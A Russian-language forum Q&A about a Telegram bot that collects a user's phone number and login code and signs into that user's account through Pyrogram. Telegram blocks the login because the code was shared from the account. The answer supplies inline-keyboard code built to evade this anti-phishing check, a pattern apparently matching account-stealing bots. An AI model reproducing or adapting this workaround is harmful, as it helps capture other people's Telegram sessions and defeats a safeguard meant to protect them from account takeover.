Функция входа пользователя в Pyrogram
Такая проблема, нужно сделать функцию которая будет осуществлять вход пользователя через телеграм бота с помощью Client.sign_in() но получаю ошибку, что время кода истекло. А поддержка телеграмма говорит следующее:
Никто не получил доступ к Вашей переписке, потому что входа в аккаунт не произошло. Код был введен верно, но вход был заблокирован, поскольку ранее Вы сообщили этот код со своего аккаунта.
Как я понимаю это сам тг блокирует, но не понимаю почему.
вот фрагменты из кода:
app = Client(name='name',api_id=api_id,api_hash=api_hash)
app.connect()
...
@dp.message_handler(state=ClientStatesGroup.number)
async def number_set(message: types.Message, state: FSMContext):
async with state.proxy() as data:
data['number'] = message.text
async with state.proxy() as data:
sCode_coroutine = app.send_code(data['number'])
sCode = await sCode_coroutine
data['sCode'] = sCode
await ClientStatesGroup.next()
await message.answer(text='А теперь отправь код который пришел в телеграм')
....
@dp.message_handler(state=ClientStatesGroup.code)
async def code_set(message: types.Message, state: FSMContext):
async with state.proxy() as data:
data['code'] = message.text
async with state.proxy() as data:
await app.sign_in(data['number'], data['sCode'].__dict__['phone_code_hash'], data['code'])
await message.answer(text='Все успешно сделано', reply_markup=startkb)
Ответы (1 шт):
Автор решения: PoVeL
→ Ссылка
Сам телеграм не позволяет отправлять коды от имени аккаунта, которому они пришли, поэтому сделаем ввод кода на клавиатуре в боте.
numbers_kb = InlineKeyboardMarkup(inline_keyboard=[[
InlineKeyboardButton(text='1', callback_data="num-1"),
InlineKeyboardButton(text='2', callback_data="num-2"),
InlineKeyboardButton(text='3', callback_data="num-3")],[
InlineKeyboardButton(text='4', callback_data="num-4"),
InlineKeyboardButton(text='5', callback_data="num-5"),
InlineKeyboardButton(text='6', callback_data="num-6")],[
InlineKeyboardButton(text='7', callback_data="num-7"),
InlineKeyboardButton(text='8', callback_data="num-8"),
InlineKeyboardButton(text='9', callback_data="num-9")],[
InlineKeyboardButton(text='♻️', callback_data="reset-code"),
InlineKeyboardButton(text='0', callback_data="num-0"),
InlineKeyboardButton(text="✅", callback_data='submit-code')
]])
class Code():
code = ''
@dp.callback_query()
async def keyboard(call: CallbackQuery):
if 'num' in call.data:
number = call.data.split('-')[1]
code = Code.code
Code.code = code + str(number)
print(Code.code)
await call.message.edit_text(
text=f"Введите код из пуш-уведомления:\n <blockquote>{Code.code </blockquote>",
reply_markup=numbers_kb, parse_mode="html")
if "submit" in call.data:
await call.message.answer(text=f"submited: {Code.code}")
if "reset" in call.data:
Code.code = ''
await call.message.edit_text(
text=f"Введите код из пуш-уведомления:\n",
reply_markup=numbers_kb, parse_mode="html")
